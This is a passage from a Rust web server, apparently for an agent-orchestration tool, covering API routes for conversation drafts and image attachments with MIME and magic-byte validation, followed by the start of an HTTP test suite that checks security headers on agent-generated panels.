5245            &ui.talks,
5246            &body.expected_text,
5247            &body.expected_attachments,
5248        )? {
5249            return Err(ApiError::conflict(
5250                "queued message changed; reload it before clearing",
5251            ));
5252        }
5253        let thinking = ui.is_thinking(&talk.id);
5254        Ok(Json(TalkView::new(talk, thinking)))
5255    })
5256    .await
5257}
5258
5259/// Atomically edit a queued draft's text while preserving its attachments.
5260/// The snapshot fields make a concurrent queue or drain a conflict rather
5261/// than silently discarding either message.
5262async fn talk_pending_edit(
5263    State(ui): State<Arc<Ui>>,
5264    Path(id): Path<String>,
5265    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5266) -> ApiResult<Json<TalkView>> {
5267    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5268    let (view, reclaimed) = blocking({
5269        let ui = Arc::clone(&ui);
5270        move || {
5271            let id = resolve_talk(&ui.talks, &id)?;
5272            let mut talk = ui.talks.get(&id)?;
5273            if !talk.status.open() {
5274                return Err(ApiError::conflict(format!(
5275                    "talk {} is {} and takes no more turns",
5276                    talk.short(),
5277                    talk.status.as_str()
5278                )));
5279            }
5280            if !talk::edit_pending_text(
5281                &mut talk,
5282                &ui.talks,
5283                &body.text,
5284                &body.expected_text,
5285                &body.expected_attachments,
5286            )? {
5287                return Err(ApiError::conflict(
5288                    "queued message changed; reload it before editing",
5289                ));
5290            }
5291            let claim = match ui.begin_queued_talk_turn(&id)? {
5292                Some(turn_guard) => {
5293                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5294                    Some((talk.clone(), cfg, id.clone(), turn_guard))
5295                }
5296                None => None,
5297            };
5298            let thinking = ui.is_thinking(&id);
5299            Ok((TalkView::new(talk, thinking), claim))
5300        }
5301    })
5302    .await?;
5303    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5304        let talks = ui.talks.clone();
5305        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5306    }
5307    Ok(Json(view))
5308}
5309
5310/// `POST /api/talks/{id}/close`.
5311async fn talk_close(
5312    State(ui): State<Arc<Ui>>,
5313    Path(id): Path<String>,
5314) -> ApiResult<Json<TalkView>> {
5315    blocking(move || {
5316        let id = resolve_talk(&ui.talks, &id)?;
5317        let mut talk = ui.talks.get(&id)?;
5318        talk::close(&mut talk, &ui.talks)?;
5319        let thinking = ui.is_thinking(&talk.id);
5320        Ok(Json(TalkView::new(talk, thinking)))
5321    })
5322    .await
5323}
5324
5325/// `POST /api/talks/{id}/reopen`.
5326async fn talk_reopen(
5327    State(ui): State<Arc<Ui>>,
5328    Path(id): Path<String>,
5329) -> ApiResult<Json<TalkView>> {
5330    blocking(move || {
5331        let id = resolve_talk(&ui.talks, &id)?;
5332        let mut talk = ui.talks.get(&id)?;
5333        talk::reopen(&mut talk, &ui.talks)?;
5334        let thinking = ui.is_thinking(&talk.id);
5335        Ok(Json(TalkView::new(talk, thinking)))
5336    })
5337    .await
5338}
5339
5340/// `DELETE /api/talks/{id}`.
5341///
5342/// Removes the conversation's record and artifacts outright, unlike
5343/// [`talk_close`] which keeps the record as history. A turn already in
5344/// flight is not refused here the way [`run_delete`] refuses a live run:
5345/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
5346/// under [`Talks::guard`], that the record they are about to write back is
5347/// still there, so a delete racing a turn is safe without this route having
5348/// to know a turn is running at all.
5349async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5350    blocking(move || {
5351        let id = resolve_talk(&ui.talks, &id)?;
5352        ui.talks.remove(&id)?;
5353        Ok(StatusCode::NO_CONTENT)
5354    })
5355    .await
5356}
5357
5358/// Expand an id or short id to exactly one talk id.
5359fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
5360    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
5361}
5362
5363/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
5364/// future `talk-say`.
5365async fn talk_attachment_post(
5366    State(ui): State<Arc<Ui>>,
5367    Path(id): Path<String>,
5368    headers: HeaderMap,
5369    body: Bytes,
5370) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
5371    let mime = validate_attachment(&headers, &body)?;
5372    let name = filename_header(&headers);
5373    let data = body.to_vec();
5374    blocking(move || {
5375        let id = resolve_talk(&ui.talks, &id)?;
5376        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
5377        Ok((StatusCode::CREATED, Json(att)))
5378    })
5379    .await
5380}
5381
5382/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
5383/// `<img>` tag in the transcript.
5384async fn talk_attachment_get(
5385    State(ui): State<Arc<Ui>>,
5386    Path((id, att)): Path<(String, String)>,
5387) -> ApiResult<Response> {
5388    blocking(move || {
5389        let id = resolve_talk(&ui.talks, &id)?;
5390        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
5391            return Err(ApiError::not_found(format!(
5392                "talk {id} has no attachment `{att}`"
5393            )));
5394        };
5395        Ok(attachment_response(&meta.mime, data))
5396    })
5397    .await
5398}
5399
5400/// Validate an attachment upload's declared `Content-Type` and the bytes
5401/// themselves, returning the canonical mime on success.
5402///
5403/// Two checks, both required: the header has to name one of
5404/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
5405/// simply never in the list, active content rather than a picture, the same
5406/// exclusion [`asset_content_type`]'s doc explains), and the file's own
5407/// magic number has to agree. The second is what stops a mislabeled upload -
5408/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
5409/// a declared type is a claim, not a fact, so it is never trusted alone.
5410fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
5411    if data.len() > ATTACHMENT_MAX_BYTES {
5412        return Err(ApiError::bad_request(format!(
5413            "attachment is {} bytes, over the {} MiB limit",
5414            data.len(),
5415            ATTACHMENT_MAX_BYTES / (1024 * 1024)
5416        ))
5417        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
5418    }
5419    if data.is_empty() {
5420        return Err(ApiError::bad_request("attachment is empty"));
5421    }
5422    let declared = declared_mime(headers)?;
5423    match sniffed_mime(data) {
5424        Some(sniffed) if sniffed == declared => Ok(declared),
5425        Some(sniffed) => Err(ApiError::bad_request(format!(
5426            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
5427        ))),
5428        None => Err(ApiError::bad_request(
5429            "the file's bytes do not match any accepted image format",
5430        )),
5431    }
5432}
5433
5434/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
5435/// and nothing else - parameters like `; charset=` are stripped, but the
5436/// value itself is not otherwise interpreted.
5437fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
5438    let raw = headers
5439        .get(header::CONTENT_TYPE)
5440        .and_then(|v| v.to_str().ok())
5441        .unwrap_or("")
5442        .split(';')
5443        .next()
5444        .unwrap_or("")
5445        .trim()
5446        .to_ascii_lowercase();
5447    ATTACHMENT_MIME_WHITELIST
5448        .iter()
5449        .find(|&&m| m == raw)
5450        .copied()
5451        .ok_or_else(|| {
5452            if raw == "image/svg+xml" {
5453                ApiError::bad_request(
5454                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
5455                     not just a picture",
5456                )
5457            } else if raw.is_empty() {
5458                ApiError::bad_request("Content-Type is required for an attachment upload")
5459            } else {
5460                ApiError::bad_request(format!(
5461                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
5462                     image/gif or image/webp"
5463                ))
5464            }
5465        })
5466}
5467
5468/// Identify an image by its magic number, independent of whatever
5469/// `Content-Type` claimed.
5470fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
5471    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
5472        Some("image/png")
5473    } else if data.starts_with(b"\xff\xd8\xff") {
5474        Some("image/jpeg")
5475    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
5476        Some("image/gif")
5477    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
5478        Some("image/webp")
5479    } else {
5480        None
5481    }
5482}
5483
5484/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
5485/// display - see [`talk::Attachment::name`]'s doc on why it never
5486/// contributes to a path. A missing or blank header (curl without it, an
5487/// older front end) falls back to a generic name rather than refusing the
5488/// upload over a field that is cosmetic.
5489fn filename_header(headers: &HeaderMap) -> String {
5490    headers
5491        .get(FILENAME_HEADER)
5492        .and_then(|v| v.to_str().ok())
5493        .map(str::trim)
5494        .filter(|s| !s.is_empty())
5495        .unwrap_or("attachment")
5496        .to_owned()
5497}
5498
5499/// Every attachment `GET` response: the mime re-validated against the same
5500/// closed whitelist the upload route enforces - never the string trusted
5501/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
5502/// cannot decide it knows better than the type we send. Unlike a panel asset
5503/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
5504/// document renders inline, not agent-authored HTML in a sandboxed frame.
5505fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
5506    let content_type = ATTACHMENT_MIME_WHITELIST
5507        .iter()
5508        .find(|&&m| m == mime)
5509        .copied()
5510        .unwrap_or("application/octet-stream");
5511    (
5512        [
5513            (header::CONTENT_TYPE, content_type),
5514            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5515        ],
5516        body,
5517    )
5518        .into_response()
5519}
5520
5521/// The configuration for a repository, read off the disk for this request.
5522///
5523/// Through [`blocking`] because discovery reads and merges several TOML files,
5524/// and because the alternative - caching it in [`Ui`] at startup - would mean
5525/// the operator's phone kept interviewing with a roster they had already
5526/// changed, with no way to reload it but restarting the server they are not
5527/// sitting in front of.
5528async fn config_for(repo: &FsPath) -> ApiResult<Config> {
5529    let repo = repo.to_path_buf();
5530    blocking(move || {
5531        let (cfg, _) = Config::discover(&repo, None)?;
5532        Ok(cfg)
5533    })
5534    .await
5535}
5536
5537/// The one prefix rule, used for both runs and tasks: a leading match for a
5538/// full id, a trailing match for the short form an operator reads off a
5539/// report. Written here rather than borrowed from `queue::resolve_id` because
5540/// the UI needs the two failures as different status codes, and telling them
5541/// apart from an error message is not something to build a route on.
5542fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
5543    let mut hits = ids
5544        .into_iter()
5545        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
5546    match (hits.next(), hits.next()) {
5547        (Some(one), None) => Ok(one),
5548        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
5549        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
5550            "`{prefix}` matches more than one {what}, including {a} and {b}"
5551        ))),
5552    }
5553}
5554
5555#[cfg(test)]
5556mod tests {
5557
5558    #[test]
5559    fn holder_reads_the_lease_not_the_record() {
5560        let mut q = Question::new(
5561            "run".to_owned(),
5562            "implement".to_owned(),
5563            "impl-A".to_owned(),
5564            "which?".to_owned(),
5565            String::new(),
5566            Vec::new(),
5567        );
5568        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5569        q.cwd = Some("/tmp".to_owned());
5570        assert_eq!(holder_of(&q, None), Some("nobody"));
5571        let beat = |kind, ago: i64| ask::Lease {
5572            kind,
5573            pid: 1,
5574            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5575                .unwrap(),
5576        };
5577        let fresh = beat(ask::WaiterKind::Asker, 1);
5578        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5579        let daemon = beat(ask::WaiterKind::Daemon, 1);
5580        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5581        let stale = beat(ask::WaiterKind::Asker, 3600);
5582        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5583    }
5584    use pretty_assertions::assert_eq;
5585    use serde_json::Value;
5586    use tempfile::TempDir;
5587    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5588
5589    use super::*;
5590    use crate::config::Config;
5591    use crate::queue::Source;
5592
5593    /// How many 10ms steps a settle loop takes before it calls a stall a
5594    /// stall - thirty seconds.
5595    ///
5596    /// These loops wait on real `sh` subprocesses, and the machine that runs
5597    /// the gate runs several suites at once, so a two-second budget was not
5598    /// waiting for the reply, it was racing the scheduler: two of these
5599    /// tests failed under that load with the turn simply not landed yet.
5600    /// This is a hang guard, not a latency assertion - every loop breaks the
5601    /// moment its condition holds, so a generous cap costs an idle machine
5602    /// nothing and still fails a genuine hang instead of hanging the suite.
5603    const SETTLE_STEPS: usize = 3_000;
5604
5605    /// A home with a queue and a runs directory, and a router serving it on
5606    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
5607    /// dependency, not ours - so the tests drive a real socket, which has the
5608    /// side benefit of asserting the status line and content types the phone
5609    /// actually receives.
5610    struct Fixture {
5611        home: TempDir,
5612        addr: SocketAddr,
5613    }
5614
5615    impl Fixture {
5616        async fn start() -> Self {
5617            Self::with_loop(launch_idle).await
5618        }
5619
5620        /// A fixture whose loop is `launch`.
5621        async fn with_loop(launch: Launch) -> Self {
5622            let home = TempDir::new().expect("temp home");
5623            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
5624            Self { home, addr }
5625        }
5626
5627        /// A fixture whose `ui.repo` is a real directory rather than the
5628        /// usual placeholder - for the routes that read config off it
5629        /// (`GET /api/repos`) and would otherwise have nothing to discover.
5630        async fn with_repo(repo: PathBuf) -> Self {
5631            let home = TempDir::new().expect("temp home");
5632            let addr = Self::serve(home.path(), repo, launch_idle).await;
5633            Self { home, addr }
5634        }
5635
5636        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
5637            let queue = Queue::at(home.join("queue"));
5638            let runs = home.join("runs");
5639            std::fs::create_dir_all(&runs).expect("runs dir");
5640            let worktrees = home.join("wt").join("magi");
5641            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5642            let ui = Ui::new(
5643                queue,
5644                Questions::at(home.join("questions")),
5645                Talks::at(home.join("talks")),
5646                runs,
5647                home.to_path_buf(),
5648                repo,
5649            )
5650            .with_worktrees_root(worktrees)
5651            .with_launch(launch);
5652            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5653                .await
5654                .expect("bind loopback");
5655            let addr = listener.local_addr().expect("local addr");
5656            tokio::spawn(async move {
5657                let _ = axum::serve(listener, ui.router()).await;
5658            });
5659            addr
5660        }
5661
5662        fn queue(&self) -> Queue {
5663            Queue::at(self.home.path().join("queue"))
5664        }
5665
5666        fn questions(&self) -> Questions {
5667            Questions::at(self.home.path().join("questions"))
5668        }
5669
5670        fn talks(&self) -> Talks {
5671            Talks::at(self.home.path().join("talks"))
5672        }
5673
5674        fn runs(&self) -> PathBuf {
5675            self.home.path().join("runs")
5676        }
5677
5678        async fn get(&self, path: &str) -> Res {
5679            request(self.addr, "GET", path, None).await
5680        }
5681
5682        /// The status and headers without the body, which is how the front end
5683        /// preflights a panel: a sandboxed frame is opaque to the parent
5684        /// document, so the only way to tell "no panel" from "a panel that
5685        /// rendered blank" is to ask before mounting.
5686        async fn head(&self, path: &str) -> Res {
5687            request(self.addr, "HEAD", path, None).await
5688        }
5689
5690        async fn post(&self, path: &str, body: Option<&str>) -> Res {
5691            request(self.addr, "POST", path, body).await
5692        }
5693
5694        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5695            request_with(self.addr, "GET", path, None, extra).await
5696        }
5697
5698        async fn delete(&self, path: &str) -> Res {
5699            request(self.addr, "DELETE", path, None).await
5700        }
5701
5702        /// `POST` a raw body with its own headers - see [`request_bytes`].
5703        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5704            request_bytes(self.addr, path, headers, body).await
5705        }
5706    }
5707
5708    struct Res {
5709        status: u16,
5710        headers: String,
5711        /// The header block with its original casing, for the assertions that
5712        /// compare a header *value* rather than looking for a name. Lowercasing
5713        /// a CSP would hide a directive spelled with a capital letter, and the
5714        /// whole point of that test is that the string is exactly right.
5715        head: String,
5716        body: String,
5717        /// The body before any UTF-8 handling, for the routes that serve
5718        /// something other than text. A panel asset is a PNG as often as not,
5719        /// and `from_utf8_lossy` would silently replace half of it.
5720        bytes: Vec<u8>,
5721    }
5722
5723    impl Res {
5724        fn json(&self) -> Value {
5725            serde_json::from_str(&self.body)
5726                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5727        }
5728
5729        /// One header's value verbatim, or `None` when it was not sent.
5730        fn header(&self, name: &str) -> Option<&str> {
5731            self.head.lines().find_map(|line| {
5732                let (key, value) = line.split_once(':')?;
5733                key.trim()
5734                    .eq_ignore_ascii_case(name)
5735                    .then(|| value.trim_start().trim_end_matches('\r'))
5736            })
5737        }
5738    }
5739
5740    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
5741    /// be read to end-of-stream without parsing framing.
5742    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5743        request_with(addr, method, path, body, &[]).await
5744    }
5745
5746    /// As [`request`], with extra request headers - conditional GETs need
5747    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
5748    /// worse than one that sets none.
5749    async fn request_with(
5750        addr: SocketAddr,
5751        method: &str,
5752        path: &str,
5753        body: Option<&str>,
5754        extra: &[(&str, &str)],
5755    ) -> Res {
5756        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5757        for (name, value) in extra {
5758            head.push_str(&format!("{name}: {value}\r\n"));
5759        }
5760        if let Some(body) = body {
5761            head.push_str("Content-Type: application/json\r\n");
5762            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5763        }
5764        head.push_str("\r\n");
5765        if let Some(body) = body {
5766            head.push_str(body);
5767        }
5768        let mut socket = tokio::net::TcpStream::connect(addr)
5769            .await
5770            .expect("connect to the test server");
5771        socket
5772            .write_all(head.as_bytes())
5773            .await
5774            .expect("write request");
5775        let mut raw = Vec::new();
5776        socket.read_to_end(&mut raw).await.expect("read response");
5777        // Split on the raw bytes rather than on a lossy string, so a binary
5778        // body survives to be compared byte for byte.
5779        let split = raw
5780            .windows(4)
5781            .position(|w| w == b"\r\n\r\n")
5782            .expect("a header block");
5783        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5784        let bytes = raw[split + 4..].to_vec();
5785        let status = head
5786            .lines()
5787            .next()
5788            .and_then(|line| line.split_whitespace().nth(1))
5789            .and_then(|code| code.parse().ok())
5790            .expect("a status line");
5791        Res {
5792            status,
5793            headers: head.to_lowercase(),
5794            head,
5795            body: String::from_utf8_lossy(&bytes).into_owned(),
5796            bytes,
5797        }
5798    }
5799
5800    /// A `POST` carrying a raw binary body and its own headers, for the
5801    /// attachment upload route - `request_with` only ever sends
5802    /// `Content-Type: application/json`, which is wrong for an image and
5803    /// would corrupt anything not valid UTF-8 by round-tripping it through
5804    /// `&str` first.
5805    async fn request_bytes(
5806        addr: SocketAddr,
5807        path: &str,
5808        headers: &[(&str, &str)],
5809        body: &[u8],
5810    ) -> Res {
5811        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5812        for (name, value) in headers {
5813            head.push_str(&format!("{name}: {value}\r\n"));
5814        }
5815        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5816        let mut socket = tokio::net::TcpStream::connect(addr)
5817            .await
5818            .expect("connect to the test server");
5819        socket
5820            .write_all(head.as_bytes())
5821            .await
5822            .expect("write request head");
5823        socket.write_all(body).await.expect("write request body");
5824        let mut raw = Vec::new();
5825        socket.read_to_end(&mut raw).await.expect("read response");
5826        let split = raw
5827            .windows(4)
5828            .position(|w| w == b"\r\n\r\n")
5829            .expect("a header block");
5830        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5831        let bytes = raw[split + 4..].to_vec();
5832        let status = head
5833            .lines()
5834            .next()
5835            .and_then(|line| line.split_whitespace().nth(1))
5836            .and_then(|code| code.parse().ok())
5837            .expect("a status line");
5838        Res {
5839            status,
5840            headers: head.to_lowercase(),
5841            head,
5842            body: String::from_utf8_lossy(&bytes).into_owned(),
5843            bytes,
5844        }
5845    }
5846
5847    /// A run on disk, without touching the process-global magi home.
5848    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5849        let mut state = RunState::new(
5850            PathBuf::from("/repo/magi"),
5851            "main".to_owned(),
5852            "0123456789abcdef".to_owned(),
5853            "Add a web UI\n\nMobile first.".to_owned(),
5854            Config::default(),
5855        );
5856        state.id = id.to_owned();
5857        state.status = status;
5858        let dir = runs.join(id);
5859        std::fs::create_dir_all(&dir).expect("run dir");
5860        std::fs::write(
5861            dir.join("run.json"),
5862            serde_json::to_string_pretty(&state).expect("serialize run"),
5863        )
5864        .expect("write run.json");
5865    }
5866
5867    /// Same as [`write_run`], but against a named repository rather than the
5868    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
5869    /// spread across more than one.
5870    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5871        let mut state = RunState::new(
5872            PathBuf::from(repo),
5873            "main".to_owned(),
5874            "0123456789abcdef".to_owned(),
5875            "task".to_owned(),
5876            Config::default(),
5877        );
5878        state.id = id.to_owned();
5879        state.status = status;
5880        let dir = runs.join(id);
5881        std::fs::create_dir_all(&dir).expect("run dir");
5882        std::fs::write(
5883            dir.join("run.json"),
5884            serde_json::to_string_pretty(&state).expect("serialize run"),
5885        )
5886        .expect("write run.json");
5887    }
5888
5889    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5890        let body = serde_json::json!({
5891            "schema": 1,
5892            "pid": 4242,
5893            "started_at": Timestamp::now().to_string(),
5894            "updated_at": updated_at.to_string(),
5895            "idle": false,
5896            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5897            "completed": 7,
5898            "polls": 143,
5899        });
5900        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5901    }
5902
5903    /// A loop that starts, finds nothing to do, and waits to be told to stop.
5904    ///
5905    /// No test in this file may start the real loop - see [`Ui::launch`] for
5906    /// why - so this stands in for the only thing the routes need a loop to
5907    /// do: keep running until `Stop` is set, then return. A real
5908    /// `serve_until` here would resolve its queue and its status file through
5909    /// the process-global magi home, claim whatever it found in the
5910    /// operator's live backlog, overwrite the status file of the `magi serve`
5911    /// that owns it, and spend real agent quota on a real competition.
5912    fn launch_idle(
5913        _opts: daemon::Opts,
5914        stop: daemon::Stop,
5915    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5916        Box::pin(async move {
5917            while !stop.stopped() {
5918                tokio::time::sleep(Duration::from_millis(2)).await;
5919            }
5920            Ok(())
5921        })
5922    }
5923
5924    /// A loop that fails on the way up, the way one whose home has gone
5925    /// read-only does.
5926    fn launch_broken(
5927        _opts: daemon::Opts,
5928        _stop: daemon::Stop,
5929    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5930        Box::pin(async {
5931            Err(anyhow::anyhow!(
5932                "publish the daemon status file: read-only file system"
5933            ))
5934        })
5935    }
5936
5937    /// The address the parking loop knocks on, and what it heard there.
5938    ///
5939    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
5940    /// capture a fixture's address; this is how it is handed one. Only
5941    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
5942    /// these, so nothing else in this binary can race them.
5943    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5944    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5945
5946    /// A loop that, once it is asked to stop, checks the deck still answers
5947    /// before it goes.
5948    ///
5949    /// It stands in for a run mid-node: `finish_loop` waits for this future,
5950    /// so the request it makes is strictly inside the park window - no sleep
5951    /// and no polling needed to be sure of that.
5952    fn launch_knocking_on_the_way_out(
5953        _opts: daemon::Opts,
5954        stop: daemon::Stop,
5955    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5956        Box::pin(async move {
5957            while !stop.stopped() {
5958                tokio::time::sleep(Duration::from_millis(2)).await;
5959            }
5960            let addr = PARK_KNOCK
5961                .lock()
5962                .expect("park knock")
5963                .expect("the test set an address");
5964            let heard = request(addr, "GET", "/api/health", None).await.status;
5965            *PARK_HEARD.lock().expect("park heard") = Some(heard);
5966            Ok(())
5967        })
5968    }
5969
5970    /// The loop view once `want` accepts it.
5971    ///
5972    /// Polled rather than asserted straight after the POST because stopping
5973    /// is deliberately not instant - that is the contract - and rather than
5974    /// slept through because a fixed wait is either flaky or slow.
5975    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
5976    /// finite, so a genuine hang fails the test instead of hanging the
5977    /// suite.
5978    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5979        for _ in 0..SETTLE_STEPS {
5980            let view = fx.get("/api/loop").await.json();
5981            if want(&view) {
5982                return view;
5983            }
5984            tokio::time::sleep(Duration::from_millis(10)).await;
5985        }
5986        panic!(
5987            "the loop never settled: {}",
5988            fx.get("/api/loop").await.json()
5989        );
5990    }
5991
5992    /// File an open question directly in the store the server reads.
5993    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5994        let store = fx.questions();
5995        let mut q = Question::new(
5996            "20260902-000000-beef".to_owned(),
5997            "implement".to_owned(),
5998            "impl-A".to_owned(),
5999            summary.to_owned(),
6000            "because it matters".to_owned(),
6001            choices.iter().map(|c| (*c).to_owned()).collect(),
6002        );
6003        store.put(&mut q).expect("put question");
6004        q.id
6005    }
6006
6007    /// A question with a panel the server can serve, plus the named assets.
6008    ///
6009    /// Written through `Questions::put_panel` rather than by laying out the
6010    /// directory here, so these tests exercise the same on-disk shape the
6011    /// agents produce and cannot pass against a layout only the tests know.
6012    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6013        let store = fx.questions();
6014        let mut q = Question::new(
6015            "20260902-000000-beef".to_owned(),
6016            "land".to_owned(),
6017            "fix".to_owned(),
6018            "Merge this?".to_owned(),
6019            "the diff is in the panel".to_owned(),
6020            vec!["merge".to_owned(), "hold".to_owned()],
6021        );
6022        // Staged outside the questions root, because `put_panel` copies from
6023        // wherever the agent left its files.
6024        let staging = fx.home.path().join("staging");
6025        std::fs::create_dir_all(&staging).expect("staging dir");
6026        let sources: Vec<PathBuf> = assets
6027            .iter()
6028            .map(|(name, bytes)| {
6029                let path = staging.join(name);
6030                std::fs::write(&path, bytes).expect("write staged asset");
6031                path
6032            })
6033            .collect();
6034        store
6035            .put_panel(&mut q, html, &sources)
6036            .expect("write the panel");
6037        store.put(&mut q).expect("put question");
6038        q.id
6039    }
6040
6041    /// A talk on disk, without talking to a model.
6042    ///
6043    /// Written as JSON straight into the store the server reads, because the
6044    /// only constructor `talk::begin` offers takes no turn but still requires
6045    /// a real caller-visible flow. The one thing this cannot make up is the
6046    /// seat, so it is built with the real `SeatState::new` and serialized -
6047    /// the alternative, hand-writing that object, would make these tests fail
6048    /// the day the seat gains a field.
6049    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6050        let store = fx.talks();
6051        std::fs::create_dir_all(store.root()).expect("talks dir");
6052        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6053            .expect("serialize a seat");
6054        let body = serde_json::json!({
6055            "schema": 1,
6056            "id": id,
6057            "repo": "/repo/magi",
6058            "agent": "mock",
6059            "status": status,
6060            "turns": [],
6061            "created_at": Timestamp::now().to_string(),
6062            "updated_at": Timestamp::now().to_string(),
6063            "seat": seat,
6064        });
6065        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6066        store.get(id).expect("the seeded talk has to be readable");
6067        id.to_owned()
6068    }
6069
6070    #[tokio::test]
6071    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6072        let fx = Fixture::start().await;
6073        let id = panel(
6074            &fx,
6075            "<h1>Merge?</h1><img src=\"diff.svg\">",
6076            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6077        );
6078
6079        for path in [
6080            format!("/api/questions/{id}/panel"),
6081            format!("/api/questions/{id}/asset/diff.svg"),
6082        ] {
6083            let res = fx.get(&path).await;
6084            assert_eq!(res.status, 200, "{path}: {}", res.body);
6085            // The whole string, not a substring. A weakened directive - an
6086            // `img-src *` that lets a panel beacon out to a remote host, a
6087            // `script-src` anything, a missing `form-action` that lets it post
6088            // the owner's decision to a third party - has to fail here, and a
6089            // `contains` assertion would let every one of those through.
6090            assert_eq!(
6091                res.header("content-security-policy"),
6092                Some(
6093                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6094                     font-src data:; base-uri 'none'; form-action 'none'; \
6095                     frame-ancestors 'self'"
6096                ),
6097                "{path} is the only thing between a hostile panel and the tailnet"
6098            );
6099            assert_eq!(
6100                res.header("x-content-type-options"),
6101                Some("nosniff"),
6102                "{path}: a browser must not re-decide the type we sent"
6103            );
6104            assert_eq!(
6105                res.header("referrer-policy"),
6106                Some("no-referrer"),
6107                "{path}: a panel must not leak the question id off the machine"
6108            );
6109
6110            // The front end mounts the frame only after a `HEAD` says the
6111            // panel is there, so `HEAD` has to answer with the same status and
6112            // the same policy as `GET` - a preflight that came back without
6113            // the CSP would mean a frame mounted on an unverified promise.
6114            let pre = fx.head(&path).await;
6115            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6116            assert_eq!(
6117                pre.header("content-security-policy"),
6118                res.header("content-security-policy"),
6119                "{path}: the preflight carries the same policy"
6120            );
6121            assert_eq!(
6122                pre.header("content-type"),
6123                res.header("content-type"),
6124                "{path}: the preflight carries the same type"
6125            );
6126        }
6127    }
6128
6129    #[tokio::test]
6130    async fn a_panel_reaches_the_browser_byte_for_byte() {
